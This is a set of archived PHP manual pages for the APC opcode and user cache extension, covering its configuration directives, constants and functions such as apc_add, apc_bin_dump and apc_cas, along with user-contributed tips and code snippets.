RFC1867 File Upload Progress hook handler is only available if APC was compiled against PHP 5.2.0 or later. When enabled, any file uploads which includes a field called APC_UPLOAD_PROGRESS before the file field in an upload form will cause APC to automatically create an upload_key user cache entry where key is the value of the APC_UPLOAD_PROGRESS form entry.

Note that the hidden field specified by APC_UPLOAD_PROGRESS must come before the file field, otherwise the upload progress will not work correctly.

Note that the file upload tracking is not threadsafe at this point, so new uploads that happen while a previous one is still going will disable the tracking for the previous.

Note that the rate is only available once all file transfers are completed.

Example #1 An apc.rfc1867 example

<?php
print_r(apc_fetch("upload_$_POST[APC_UPLOAD_PROGRESS]"));
?>

The above example will output something similar to:

Array
(
    [total] => 1142543
    [current] => 1142543
    [rate] => 1828068.8
    [filename] => test
    [name] => file
    [temp_filename] => /tmp/php8F
    [cancel_upload] => 0
    [done] => 1
)

apc.rfc1867_prefix string

Key prefix to use for the user cache entry generated by rfc1867 upload progress functionality.

apc.rfc1867_name string

Specify the hidden form entry name that activates APC upload progress and specifies the user cache key suffix.

apc.rfc1867_freq string

The frequency that updates should be made to the user cache entry for upload progress. This can take the form of a percentage of the total file size or a size in bytes optionally suffixed with "k", "m", or "g" for kilobytes, megabytes, or gigabytes respectively (case insensitive). A setting of 0 updates as often as possible, which may cause slower uploads.

apc.rfc1867_ttl bool

TTL for rfc1867 entries.

apc.localcache boolean

This enables a lock-free local process shadow-cache which reduces lock contention when the cache is being written to.

apc.localcache.size integer

The size of the local process shadow-cache, should be set to a sufficiently large value, approximately half of apc.num_files_hint.

apc.coredump_unmap boolean

Enables APC handling of signals, such as SIGSEGV, that write core files when signaled. When these signals are received, APC will attempt to unmap the shared memory segment in order to exclude it from the core file. This setting may improve system stability when fatal signals are received and a large APC shared memory segment is configured.

Warning

This feature is potentially dangerous. Unmapping the shared memory segment in a fatal signal handler may cause undefined behaviour if a fatal error occurs.

Note:

Although some kernels may provide a facility to ignore various types of shared memory when generating a core dump file, these implementations may also ignore important shared memory segments such as the Apache scoreboard.

apc.stat_ctime integer

Verification with ctime will avoid problems caused by programs such as svn or rsync by making sure inodes haven't changed since the last stat. APC will normally only check mtime.

apc.canonicalize bool

If on, then relative paths are canonicalized in no-stat mode. If set, then files included via stream wrappers can not be cached as realpath() does not support stream wrappers.

apc.preload_path string

apc.use_request_time bool

Use the SAPI request start time for TTL.

apc.file_md5 bool

Records a md5 hash of files.

apc.lazy_functions integer

Enables lazy loading for functions.

apc.lazy_classes integer

Enables lazy loading for classes.

User Contributed Notes

d_inkubus at yahoo dot com 20-Feb-2010 11:49
apc.include_once_override=1 can cause more problems than it solves.  If you're running into weird errors regarding relative paths, make sure this setting is off.  PHP 5.3 already implements most of the speed ups in these calls anyway.
amir w of colnect dot com TIPS 01-Feb-2010 05:30
apc.stat is an extremely important setting for a production server, especially if many files are accessed on every request, which is quite normal on complicated web applications.

Always aspire to use:
apc.stat="0"
so that APC does not try to check that each and every file exists on every request you make. It also means you can update files on your server without crashing incoming requests on that time fragment. Whenever you wish to force APC to re-read all the files, simply clear the cache or restart your server.
amir w of colnect dot com TIPS 01-Feb-2010 05:03
Want to avoid segmentation with apc.shm_segments?If your linux server limits the shared memory block size and you're forced to use apc.shm_segments instead, change the setting by using (here is 512M but change it as you like):
# sysctl -w kernel.shmmax=536870912

(but if you want the change to be permanent after a restart you would have to add the following line in /etc/sysctl.conf

kernel.shmmax=536870912)

and updating apc.ini

apc.shm_segments="1"
apc.shm_size="512"

apc.stat is an extremely important setting for a production server, especially if many files are accessed on every request, which is quite normal on complicated web applications.

Always aspire to use:
apc.stat="0"
so that APC does not try to check that each and every file exists on every request you make. It also means you can update files on your server without crashing incoming requests on that time fragment. Whenever you wish to force APC to re-read all the files, simply clear the cache or restart your server.
fusionstream [a](t) gmail.com 14-Jan-2010 02:25
If you are getting 0kb out of 0kb for your upload progress with large files, make sure that upload_max_filesize and post_max_size are larger than the file you are uploading. As far as I can tell, apc.max_file_size does not affect it.
Will 10-Nov-2009 04:27
For anyone wondering why shm_segments is being ignored on their setup, it could be because of the following:

If you've configured APC to use memory mapped files (with the --enable-mmap option), the shm_segments setting is ignored unless you specify a file mask via the mmap_file_mask setting.

This is because APC won't attempt to create multiple anonymous files to map into memory without a mask (since it has no way of naming them sensibly). To set up multiple segments you have to give a file mask so they can be named separately.

apc.mmap_file_mask=/tmp/apc.XXXXXX

Make sure to use exactly 6 "X"s (this is the part that is changed by APC). You can place these files anywhere, they don't have to go in /tmp.

With that said, I'm not sure what the performance impact of having multiple MMAP segments would be. I'm guessing it would probably be negative so you probably don't want to do this.
neorush at gmail dot com 26-Aug-2009 03:16
apc_fetch always returned false.  Turns out that "apc.rfc1867" was set to "0".  I added this line to my php.ini:
apc.rfc1867 = 1
but it could have certainly been changed with ini_set().  That took me way to long to figure out.
bishop 26-Feb-2009 07:22
The apc.rfc1867 example code above is a little fast and loose for those running in environments where APC RFC1867 may or may not be available.  This is a little more expressive:

<?php

// if we have PHP and APC
$havePHP = (1 === version_compare(PHP_VERSION, '5.2.0') ? true : false);
$haveAPC = (extension_loaded('apc') && 1 === version_compare(phpversion('apc'), '3.0.13') ? true : false);
if ($havePHP && $haveAPC) {
    // if APC and upload tracking is enabled
    if (ini_get('apc.enabled') && ini_get('apc.rfc1867')) {
        // get the stats
        $key = ini_get('apc.rfc1867_prefix') . $_REQUEST['apcid'];
        $stats = apc_fetch($key);
    }
}

?>
lamperz at gmail dot com 30-Oct-2008 09:52
I'm trying to get upload progress with apc_fetch.
I founded apc_fetch always return false till the upload completed.After fews hours debug, I finally notice that my APC_UPLOAD_PROGRESS was set after the file form.

SO, You should write your form like this
<input type="hidden" id="file_id" name="APC_UPLOAD_PROGRESS" value="blablabla"/>
<input type="file" id="select_file" name="file" value="upload" onchange="parent.test();"/>

the hidden field with name="APC_UPLOAD_PROGRESS" SHOULD be ALWAYS BEFORE input type="file"
danbettles at yahoo dot co dot uk 11-Oct-2008 04:26
To automatically cache only PHP class files named "<class name>.class.php", add the following lines to php.ini.

apc.cache_by_default = "Off"
apc.filters = "+\.class\.php$"

Notes:
- The regexp is case /sensitive/, so if, say, your project contains filenames with mixed case, you'll need something like "+\.(class|CLASS)\.(php|PHP)$".  I've tried delimiting patterns and using the "i" modifier, but that doesn't seem to work.
- Setting cache_by_default to "On" and applying the positive filter will /not/ work.

If you have more complicated requirements and, like me, you're not familiar with POSIX Extended Regular Expressions (ERE) inparticular, you may find the following link useful.  http://www.regular-expressions.info/refflavors.html
Installation
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

APC_BIN_VERIFY_CRC32 (integer)
APC_BIN_VERIFY_MD5 (integer)
APC_ITER_ALL (integer)
APC_ITER_ATIME (integer)
APC_ITER_CTIME (integer)
APC_ITER_DEVICE (integer)
APC_ITER_DTIME (integer)
APC_ITER_FILENAME (integer)
APC_ITER_INODE (integer)
APC_ITER_KEY (integer)
APC_ITER_MD5 (integer)
APC_ITER_MEM_SIZE (integer)
APC_ITER_MTIME (integer)
APC_ITER_NONE (integer)
APC_ITER_NUM_HITS (integer)
APC_ITER_REFCOUNT (integer)
APC_ITER_TTL (integer)
APC_ITER_TYPE (integer)
APC_ITER_VALUE (integer)
APC_LIST_ACTIVE (integer)
APC_LIST_DELETED (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
APC Functions
APC


APC Functions

Table of Contents

  • apc_add — Cache a variable in the data store
  • apc_bin_dump — Get a binary dump of the given files and user variables
  • apc_bin_dumpfile — Output a binary dump of cached files and user variables to a file
  • apc_bin_load — Load a binary dump into the APC file/user cache
  • apc_bin_loadfile — Load a binary dump from a file into the APC file/user cache
  • apc_cache_info — Retrieves cached information from APC's data store
  • apc_cas — Updates an old value with a new value
  • apc_clear_cache — Clears the APC cache
  • apc_compile_file — Stores a file in the bytecode cache, bypassing all filters.
  • apc_dec — Decrease a stored number
  • apc_define_constants — Defines a set of constants for retrieval and mass-definition
  • apc_delete_file — Deletes files from the opcode cache
  • apc_delete — Removes a stored variable from the cache
  • apc_exists — Checks if APC key exists
  • apc_fetch — Fetch a stored variable from the cache
  • apc_inc — Increase a stored number
  • apc_load_constants — Loads a set of constants from the cache
  • apc_sma_info — Retrieves APC's Shared Memory Allocation information
  • apc_store — Cache a variable in the data store

User Contributed Notes

joe at simpson dot com 20-Sep-2007 04:53
It seems there are issues when using APC to cache database result sets as PDOStatements. Any attempts I have made always result in an exception being thrown with the message: 'You cannot serialize or unserialize PDOStatement instances'
zytzagoo at NOSPAMPLEASEgmail dot com 30-Jul-2007 06:21
Keep in mind to always prefix or suffix your cache key names with something specific to your site/app/setup, to avoid the risk of your apc cache entries being overwritten/deleted/modified by someone else on the same server.

Assume we have some code like this:

<?php apc_store('config', $cfg); ?>

Now assume someone else on the same server is also using 'config' as the key passed to an apc_store(), apc_delete() (etc.) call in some other piece of code on the whole server.

Since you're both working on the exact same cache entry, all sorts of wierd things can happen, but the problem is not in your code at all.
anon 03-Jul-2007 12:28
If you don't want any APC info visible without logging in, insert this code at line 173 of apc.php:

<?php

if (!$AUTHENTICATED) {
    echo '<div class="authneeded">You need to login to see the user values here!<br/>&nbsp;<br/>';
    put_login_link("Login now!");
    echo '</div>';
    die();
}

?>
bjoern dot andersen at atosorigin dot com 23-May-2007 08:14
In IIS6 you can't use php_apc.dll with application pools or webgardens (Multi-Instance/Multi-Threading). Maybe this applies even to all Multithreading environments - i don't know.

When you try it, the Application pools terminate when requests run simultaneously.
ashus at atlas dot cz 21-Mar-2007 06:56
If you don't really need caching and plan to use it for one page only, you could try an alternative; writing a file and then flushing it back if specified time hasn't passed. I use it to read and parse third party websites, to check for new subtitles and output a RSS xml file.

<?php
if ((is_file($_SERVER['SCRIPT_FILENAME'].'.cached'))
    && (time()-filemtime($_SERVER['SCRIPT_FILENAME'].'.cached') < 3600))
    {
    readfile($_SERVER['SCRIPT_FILENAME'].'.cached');
    exit;
    }

// (the php script itself goes here)

echo $out;
$fp = fopen($_SERVER['SCRIPT_FILENAME'].'.cached', 'w');
fwrite($fp, $out);
fclose($fp);

?>

Note, that this only works for pages, which are without GET or POST variables, sessions, etc. You can change the number of seconds the cache works for (3600 = an hour). Also, use "$out.=" instead of "echo" command. Just store all output to that variable (if you need to use it inside a function, use "global $out" instead).
This workaround was written in about 5 minutes and may contain bugs.
dustymugs 30-Jan-2007 06:14
In windows, if you load php_apc.dll but do not enable it, apache may crash when attempting to restart or stop.

So, if you've not enabled APC but are loading it, comment out the loading.
Predefined Constants
apc_add
APC


Cache a variable in the data store

APC Functions
apc_bin_dump
APC Functions
PHP Manual

apc_add

(PECL apc >= 3.0.13)

apc_add — Cache a variable in the data store

Description

bool apc_add ( string $key [, mixed $var [, int $ttl = 0 ]] )
array apc_add ( array $values [, mixed $unused [, int $ttl = 0 ]] )

Caches a variable in the data store, only if it's not already stored.

Note: Unlike many other mechanisms in PHP, variables stored using apc_add() will persist between requests (until the value is removed from the cache).

Parameters

key

Store the variable using this name. keys are cache-unique, so attempting to use apc_add() to store data with a key that already exists will not overwrite the existing data, and will instead return FALSE. (This is the only difference between apc_add() and apc_store().)

var

The variable to store

ttl

Time To Live; store var in the cache for ttl seconds. After the ttl has passed, the stored variable will be expunged from the cache (on the next request). If no ttl is supplied (or if the ttl is 0), the value will persist until it is removed from the cache manually, or otherwise fails to exist in the cache (clear, restart, etc.).

values

Names in key, variables in value.

Return Values

Returns TRUE on success or FALSE on failure. Second syntax returns array with error keys.

Examples

Example #1 A apc_add() example

<?php
$bar = 'BAR';
apc_add('foo', $bar);
var_dump(apc_fetch('foo'));
echo "\n";
$bar = 'NEVER GETS SET';
apc_add('foo', $bar);
var_dump(apc_fetch('foo'));
echo "\n";
?>

The above example will output:

string(3) "BAR"
string(3) "BAR"

See Also

  • apc_store() - Cache a variable in the data store
  • apc_fetch() - Fetch a stored variable from the cache
  • apc_delete() - Removes a stored variable from the cache

User Contributed Notes

There are no user contributed notes for this page.
APC Functions
apc_bin_dump
APC Functions


Get a binary dump of the given files and user variables

apc_add
apc_bin_dumpfile
APC Functions
PHP Manual

apc_bin_dump

(PECL apc >= 3.1.4)

apc_bin_dump — Get a binary dump of the given files and user variables

Description

string apc_bin_dump ([ array $files [, array $user_vars ]] )

Returns a binary dump of the given files and user variables from the APC cache. A NULL for files or user_vars signals a dump of every entry, whereas array() will dump nothing.

Parameters

files

The files. Passing in NULL signals a dump of every entry, while passing in array() will dump nothing.

user_vars

The user vars. Passing in NULL signals a dump of every entry, while passing in array() will dump nothing.

Return Values

Returns a binary dump of the given files and user variables from the APC cache, FALSE if APC is not enabled, or NULL if an unknown error is encountered.

See Also

  • apc_bin_dumpfile() - Output a binary dump of cached files and user variables to a file
  • apc_bin_load() - Load a binary dump into the APC file/user cache

User Contributed Notes

mightye+php at gmail dot com 11-Jan-2012 07:44
These items aren't clear to me from the documentation.

In order to store file opcodes (the first parameter), you MUST have apc.stat set to 0, and filenames passed into the first parameter MUST be absolute (full) paths.  Any other configuration will generate a warning and will not dump the files.  Also, apc.stat cannot be changed at runtime (so you can't do ini_set('apc.stat', 0) prior to executing the apc_bin_dump* functions), it must be set in php.ini (or otherwise defined prior to execution of your script; for example for PHP CLI you can do "php -d apc.stat=0").

The files passed to apc_bin_dump*() must already exist in the opcode cache; you should do apc_compile_file() on any filenames you're not certain will be in the cache already (best practice is to do it for all files to be certain they are up to date since the mandatory apc.stat=0 disables checking whether the files are up to date, but apc_compile_file() will always refresh the file's cache).

When doing apc_bin_load*(), you do not have to have apc.stat=0, but failing to have this value may overwrite your restored value with a newly created opcode from the file on the disk if anything attempts to include that file again (even other scripts at a later time).

If you're intending to just store variables (not file opcodes), you don't have to have apc.stat=0, but you will still get a warning about apc.stat not being the correct value, even if the first parameter is an empty array() or null.

The format for the $user_vars parameter is array('varname1',..,'varnameN').  The values which are stored come out of the APC data store (not the local variable scope, nor can these be values which are passed into this function).  You must first apc_store() any value you wish to persist with these functions.  Likewise, these variables are restored to the APC data store by apc_bin_load*() rather than the local scope or as a return value in some form.

So if your intent is to store a local variable for later use, first apc_store('varname', $varname) (assuming you have no collisions with other scopes using the same 'varname') before calling apc_bin_dump*().  When restoring, you'll need to do $varname = apc_fetch('varname') after calling apc_bin_load*()
apc_add
apc_bin_dumpfile
APC Functions


Output a binary dump of cached files and user variables to a file

apc_bin_dump
apc_bin_load
APC Functions
PHP Manual

apc_bin_dumpfile

(PECL apc >= 3.1.4)

apc_bin_dumpfile — Output a binary dump of cached files and user variables to a file

Description

int apc_bin_dumpfile ( array $files , array $user_vars , string $filename [, int $flags = 0 [, resource $context ]] )

Outputs a binary dump of the given files and user variables from the APC cache to the named file.

Parameters

files

The file names being dumped.

user_vars

The user variables being dumped.

filename

The filename where the dump is being saved.

flags

Flags passed to the filename stream. See the file_put_contents() documentation for details.

context

The context passed to the filename stream. See the file_put_contents() documentation for details.

Return Values

The number of bytes written to the file, otherwise FALSE if APC is not enabled, filename is an invalid file name, filename can't be opened, the file dump can't be completed (e.g., the hard drive is out of disk space), or an unknown error was encountered.

See Also

  • apc_bin_dump() - Get a binary dump of the given files and user variables
  • apc_bin_load() - Load a binary dump into the APC file/user cache

User Contributed Notes

eric at midkotasolutions dot com 24-Feb-2011 06:50
To prevent losing all of your APC custom user data on an apache restart, use this function along with apc_bin_loadfile to save your APC Memory Data on a restart of apache.

e.g.  Write a php script to dump the file and one to re-load the file.   Call the dump script directly before stopping apache, and then call the reload script directly after starting apache.

<?php
//saveapc
      apc_bin_dumpfile(array(),null,"/path/to/my/file.data");
?>

<?php
//loadapc
     apc_bin_loadfile("/path/to/my/file.data");
?>

#  wget http://www.example.com/saveapc.php
# /etc/init.d/httpd restart
#  wget http://www.example.com/loadapc.php

Particularly useful if you have a custom session handler using APC for storage

Even more handy, update the httpd restart bash script to automatically make these calls for you on a restart
apc_bin_dump
apc_bin_load
APC Functions


Load a binary dump into the APC file/user cache

apc_bin_dumpfile
apc_bin_loadfile
APC Functions
PHP Manual

apc_bin_load

(PECL apc >= 3.1.4)

apc_bin_load — Load a binary dump into the APC file/user cache

Description

bool apc_bin_load ( string $data [, int $flags = 0 ] )

Loads the given binary dump into the APC file/user cache.

Parameters

data

The binary dump being loaded, likely from apc_bin_dump().

flags

Either APC_BIN_VERIFY_CRC32, APC_BIN_VERIFY_MD5, or both.

Return Values

Returns TRUE if the binary dump data was loaded with success, otherwise FALSE is returned. FALSE is returned if APC is not enabled, or if the data is not a valid APC binary dump (e.g., unexpected size).

Examples

Example #1 apc_bin_load() example

<?php
$data = apc_bin_dump(NULL, NULL);
apc_bin_load($data, APC_BIN_VERIFY_MD5 | APC_BIN_VERIFY_CRC32);
?>

See Also

  • apc_bin_dump() - Get a binary dump of the given files and user variables
  • apc_bin_loadfile() - Load a binary dump from a file into the APC file/user cache

User Contributed Notes

There are no user contributed notes for this page.
apc_bin_dumpfile
apc_bin_loadfile
APC Functions


Load a binary dump from a file into the APC file/user cache

apc_bin_load
apc_cache_info
APC Functions
PHP Manual

apc_bin_loadfile

(PECL apc >= 3.1.4)

apc_bin_loadfile — Load a binary dump from a file into the APC file/user cache

Description

bool apc_bin_loadfile ( string $filename [, resource $context [, int $flags ]] )

Loads a binary dump from a file into the APC file/user cache.

Parameters

filename

The file name containing the dump, likely from apc_bin_dumpfile().

context

The files context.

flags

Either APC_BIN_VERIFY_CRC32, APC_BIN_VERIFY_MD5, or both.

Return Values

Returns TRUE on success, otherwise FALSE Reasons it may return FALSE include APC is not enabled, filename is an invalid file name or empty, filename can't be opened, the file dump can't be completed, or if the data is not a valid APC binary dump (e.g., unexpected size).

See Also

  • apc_bin_dumpfile() - Output a binary dump of cached files and user variables to a file
  • apc_bin_load() - Load a binary dump into the APC file/user cache

User Contributed Notes

There are no user contributed notes for this page.
apc_bin_load
apc_cache_info
APC Functions


Retrieves cached information from APC's data store

apc_bin_loadfile
apc_cas
APC Functions
PHP Manual

apc_cache_info

(PECL apc >= 2.0.0)

apc_cache_info — Retrieves cached information from APC's data store

Description

array apc_cache_info ([ string $cache_type [, bool $limited = false ]] )

Retrieves cached information and meta-data from APC's data store.

Return Values

Array of cached data (and meta-data) or FALSE on failure

Note: apc_cache_info() will raise a warning if it is unable to retrieve APC cache data. This typically occurs when APC is not enabled.

Parameters

cache_type

If cache_type is "user", information about the user cache will be returned.

If cache_type is "filehits", information about which files have been served from the bytecode cache for the current request will be returned. This feature must be enabled at compile time using --enable-filehits .

If an invalid or no cache_type is specified, information about the system cache (cached files) will be returned.

limited

If limited is TRUE, the return value will exclude the individual list of cache entries. This is useful when trying to optimize calls for statistics gathering.

Changelog

Version | Description
3.0.11 | The limited parameter was introduced.
3.0.16 | The "filehits" option for the cache_type parameter was introduced.

Examples

Example #1 A apc_cache_info() example

<?php
print_r(apc_cache_info());
?>

The above example will output something similar to:

Array
(
    [num_slots] => 2000
    [ttl] => 0
    [num_hits] => 9
    [num_misses] => 3
    [start_time] => 1123958803
    [cache_list] => Array
        (
            [0] => Array
                (
                    [filename] => /path/to/apc_test.php
                    [device] => 29954
                    [inode] => 1130511
                    [type] => file
                    [num_hits] => 1
                    [mtime] => 1123960686
                    [creation_time] => 1123960696
                    [deletion_time] => 0
                    [access_time] => 1123962864
                    [ref_count] => 1
                    [mem_size] => 677
                )
            [1] => Array (...iterates for each cached file)
)

See Also

  • APC configuration directives
  • APCIterator::getTotalSize() - Get total cache size
  • APCIterator::getTotalHits() - Get total cache hits
  • APCIterator::getTotalCount() - Get total count

User Contributed Notes

There are no user contributed notes for this page.
apc_bin_loadfile
apc_cas
APC Functions


Updates an old value with a new value

apc_cache_info
apc_clear_cache
APC Functions
PHP Manual

apc_cas

(PECL apc >= 3.1.1)

apc_cas — Updates an old value with a new value

Description

bool apc_cas ( string $key , int $old , int $new )

apc_cas() updates an already existing integer value if the old parameter matches the currently stored value with the value of the new parameter.

Parameters

key

The key of the value being updated.

old

The old value (the value currently stored).

new

The new value to update to.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apc_cas() example

<?php
apc_store('foobar', 2);
echo '$foobar = 2', PHP_EOL;
echo '$foobar == 1 ? 2 : 1 = ', (apc_cas('foobar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;
echo '$foobar == 2 ? 1 : 2 = ', (apc_cas('foobar', 2, 1) ? 'ok' : 'fail'), PHP_EOL;

echo '$foobar = ', apc_fetch('foobar'), PHP_EOL;

echo '$f__bar == 1 ? 2 : 1 = ', (apc_cas('f__bar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;

apc_store('perfection', 'xyz');
echo '$perfection == 2 ? 1 : 2 = ', (apc_cas('perfection', 2, 1) ? 'ok' : 'epic fail'), PHP_EOL;

echo '$foobar = ', apc_fetch('foobar'), PHP_EOL;
?>

The above example will output something similar to:

$foobar = 2
$foobar == 1 ? 2 : 1 = fail
$foobar == 2 ? 1 : 2 = ok
$foobar = 1
$f__bar == 1 ? 2 : 1 = fail
$perfection == 2 ? 1 : 2 = epic fail
$foobar = 1

See Also

  • apc_dec() - Decrease a stored number
  • apc_store() - Cache a variable in the data store

User Contributed Notes

Piet Delport 09-Mar-2011 12:25
In case anyone is puzzled by the function name, "cas" refers to http://en.wikipedia.org/wiki/Compare-and-swap
apc_cache_info
apc_clear_cache
APC Functions


Clears the APC cache

apc_cas
apc_compile_file
APC Functions
PHP Manual

apc_clear_cache

(PECL apc >= 2.0.0)

apc_clear_cache — Clears the APC cache

Description

bool apc_clear_cache ([ string $cache_type ] )

Clears the user/system cache.

Return Values

Returns TRUE on success or FALSE on failure.

Parameters

cache_type

If cache_type is "user", the user cache will be cleared; otherwise, the system cache (cached files) will be cleared.

See Also

  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

Colin M 15-Jun-2010 01:13
It appears for me in PHP 5.2.11/APC 3.1.2 that to clear the opcode cache the argument must be 'opcode'. Having no argument seems to have no effect.
apc_cas
apc_compile_file
APC Functions


Stores a file in the bytecode cache, bypassing all filters.

apc_clear_cache
apc_dec
APC Functions
PHP Manual

apc_compile_file

(PECL apc >= 3.0.13)

apc_compile_file — Stores a file in the bytecode cache, bypassing all filters.

Description

mixed apc_compile_file ( string $filename [, bool $atomic = true ] )

Stores a file in the bytecode cache, bypassing all filters.

Parameters

filename

Full or relative path to a PHP file that will be compiled and stored in the bytecode cache.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • apc_bin_dumpfile() - Output a binary dump of cached files and user variables to a file
  • apc_bin_loadfile() - Load a binary dump from a file into the APC file/user cache

User Contributed Notes

highcode at yahoo dot com 06-Aug-2009 04:09
if your goal is to pre-compile PHP script into bytecode and then transparently loaded the script, better use monas, its a free php extension to encode/decode PHP 4 and PHP 5. check it at http://ombudi.com, i've try using it to encode phpmyadmin and works nicely
Glen 31-Mar-2009 02:44
There are reasons to use this routine.  I can think of two:

- a busy website will have multiple web servers, and before one is brought online (via load balancer), the cache is built.  This prevents problems of having too many cache misses in a short period on your entire code base, which could be massive, and cause problems.

- a website where the apc.stat flag is set to zero.  That setting provides significant performance savings because no 'stat' needs to be performed on PHP code files.  But they are not automatically rebuilt when changed.  So what do you do when your code changes?  Restart Apache, or manually clearing the APC cache with apc_clear_cache() - but both will clear the entire cache.  There may be cases where it is much better to recompile select files instead.  Some sites store data (that rarely changes) in PHP code to make good use of the opcode cache, updating that file and selectively compiling it would make writes efficient too.
A.R. 22-Mar-2009 07:15
It should be noted, that the above suggestion to "compile your entire project", or for any web developer to ever call this apc_compile_file function at all, is superfluous, because APC will automatically compile pages for you on demand. This function does not do anything useful.

I had actually avoided installing APC for a long time because I thought it would be very complex, partly because of this manual page which tells you how to compile but doesn't tell you how to execute a compiled page.

After installing APC, you can tell if it's working, by adding this to one of your webpages:

<?php
    echo("<pre>");
    print_r(apc_cache_info());
    echo("</pre>");
?>

Run this before and after hitting a few pages on the site, to see the compiled files automatically show up in the list.

Again, there is no need to ever call apc_compile_file explicitly. This function is probably available for some sort of very advanced use.
Andrea Giammarchi 15-Feb-2008 07:40
This is a simple way to cache a project entirely.

<?php // apc_compile_dir.php
function apc_compile_dir($root, $recursively = true){
    $compiled   = true;
    switch($recursively){
        case    true:
            foreach(glob($root.DIRECTORY_SEPARATOR.'*', GLOB_ONLYDIR) as $dir)
                $compiled   = $compiled && apc_compile_dir($dir, $recursively);
        case    false:
            foreach(glob($root.DIRECTORY_SEPARATOR.'*.php') as $file)
                $compiled   = $compiled && apc_compile_file($file);
            break;
    }
    return  $compiled;
}
?>

This is an example on how to use the function to compile your project.
<?php
echo    '<pre>'.PHP_EOL;
if(function_exists('apc_compile_file')){
    define('APC_CLEAR_CACHE',           true);
    define('APC_COMPILE_RECURSIVELY',   true);
    define('APC_COMPILE_DIR',           '.');
    require 'apc_compile_dir.php';
    echo    'APC Directory Compiler '.gmdate('Y-m-d H:i:s').PHP_EOL;
    echo    PHP_EOL.'-------------------------'.PHP_EOL;
    if(APC_CLEAR_CACHE){
        echo    (apc_clear_cache() ? 'Cache Cleaned' : 'Cache Not Cleaned').PHP_EOL;
        var_dump(apc_cache_info());
        echo    PHP_EOL.'-------------------------'.PHP_EOL;
    }
    echo    'Runtime Errors'.PHP_EOL;
    echo    (apc_compile_dir(APC_COMPILE_DIR, APC_COMPILE_RECURSIVELY) ? 'Cache Created' : 'Cache Not Created').PHP_EOL;
    echo    PHP_EOL.'-------------------------'.PHP_EOL;
    var_dump(apc_cache_info());
}
else
    echo    'APC is not present, nothing to do.'.PHP_EOL;
echo    '</pre>';
?>
apc_clear_cache
apc_dec
APC Functions


Decrease a stored number

apc_compile_file
apc_define_constants
APC Functions
PHP Manual

apc_dec

(PECL apc >= 3.1.1)

apc_dec — Decrease a stored number

Description

int apc_dec ( string $key [, int $step = 1 [, bool &$success ]] )

Decreases a stored integer value.

Parameters

key

The key of the value being decreased.

step

The step, or value to decrease.

success

Optionally pass the success or fail boolean value to this referenced variable.

Return Values

Returns the current value of key's value on success, or FALSE on failure

Examples

Example #1 apc_dec() example

<?php
echo "Let's do something with success", PHP_EOL;

apc_store('anumber', 42);

echo apc_fetch('anumber'), PHP_EOL;

echo apc_dec('anumber'), PHP_EOL;
echo apc_dec('anumber', 10), PHP_EOL;
echo apc_dec('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "Now, let's fail", PHP_EOL, PHP_EOL;

apc_store('astring', 'foo');

$ret = apc_dec('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

The above example will output something similar to:

Let's do something with success
42
41
31
21
bool(true)

Now, let's fail
bool(false)
bool(false)

See Also

  • apc_inc() - Increase a stored number

User Contributed Notes

There are no user contributed notes for this page.
apc_compile_file
apc_define_constants
APC Functions


Defines a set of constants for retrieval and mass-definition

apc_dec
apc_delete_file
APC Functions
PHP Manual

apc_define_constants

(PECL apc >= 3.0.0)

apc_define_constants — Defines a set of constants for retrieval and mass-definition

Description

bool apc_define_constants ( string $key , array $constants [, bool $case_sensitive = true ] )

define() is notoriously slow. Since the main benefit of APC is to increase the performance of scripts/applications, this mechanism is provided to streamline the process of mass constant definition. However, this function does not perform as well as anticipated.

For a better-performing solution, try the » hidef extension from PECL.

Note: To remove a set of stored constants (without clearing the entire cache), an empty array may be passed as the constants parameter, effectively clearing the stored value(s).

Parameters

key

The key serves as the name of the constant set being stored. This key is used to retrieve the stored constants in apc_load_constants().

constants

An associative array of constant_name => value pairs. The constant_name must follow the normal constant naming rules. value must evaluate to a scalar value.

case_sensitive

The default behaviour for constants is to be declared case-sensitive; i.e. CONSTANT and Constant represent different values. If this parameter evaluates to FALSE the constants will be declared as case-insensitive symbols.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apc_define_constants() example

<?php
$constants = array(
    'ONE'   => 1,
    'TWO'   => 2,
    'THREE' => 3,
);
apc_define_constants('numbers', $constants);
echo ONE, TWO, THREE;
?>

The above example will output:

123

See Also

  • apc_load_constants() - Loads a set of constants from the cache
  • define() - Defines a named constant
  • constant() - Returns the value of a constant
  • Or the PHP constants reference

User Contributed Notes

jmucchiello AT yahoooooooo DOT com 29-Jun-2010 06:13
It doesn't introduce much overhead if you make use of conditional function definitions:

<?php
if (function_exists('apc_load_constants')) {
    function define_array($key, $arr, $case_sensitive = true)
    {
        if (!apc_load_constants($key, $case_sensitive)) {
            apc_define_constants($key, $arr, $case_sensitive);
        }
    }
} else {
    function define_array($key, $arr, $case_sensitive = true)
    {
        foreach ($arr as $name => $value)
            define($name, $value, $case_sensitive);
    }
}

//in your code you just write something like this:

define_array('NUMBERS', Array('ONE' => 1, 'TWO' => 2, 'THREE' => 3));
?>
webmaster at thedigitalorchard dot ca 25-Apr-2010 06:06
An observation that I've made is that the nature of apc_define_constants() binding the list of constants to a key and then requiring that key to load the constants is limiting. Furthermore, there's no way to append additional constants to a given key.

A solution that I've been adopting is to build a list of constants to be defined, and then do one of two things:

1) if APC is enabled, then use apc_define_constants();
2) ...else loop through the list and define each constant normally.

The problem I've run into is when this process happens at different places in a large application, it can introduce overhead that otherwise wouldn't be there if it was possible to append to an existing list of defined constants in APC.
apc_dec
apc_delete_file
APC Functions


Deletes files from the opcode cache

apc_define_constants
apc_delete
APC Functions
PHP Manual

apc_delete_file

(PECL apc >= 3.1.1)

apc_delete_file — Deletes files from the opcode cache

Description

mixed apc_delete_file ( mixed $keys )

Deletes the given files from the opcode cache.

Parameters

keys

The files to be deleted. Accepts a string, array of strings, or an APCIterator object.

Return Values

Returns TRUE on success or FALSE on failure. Or if keys is an array, then an empty array is returned on success, or an array of failed files is returned.

Examples
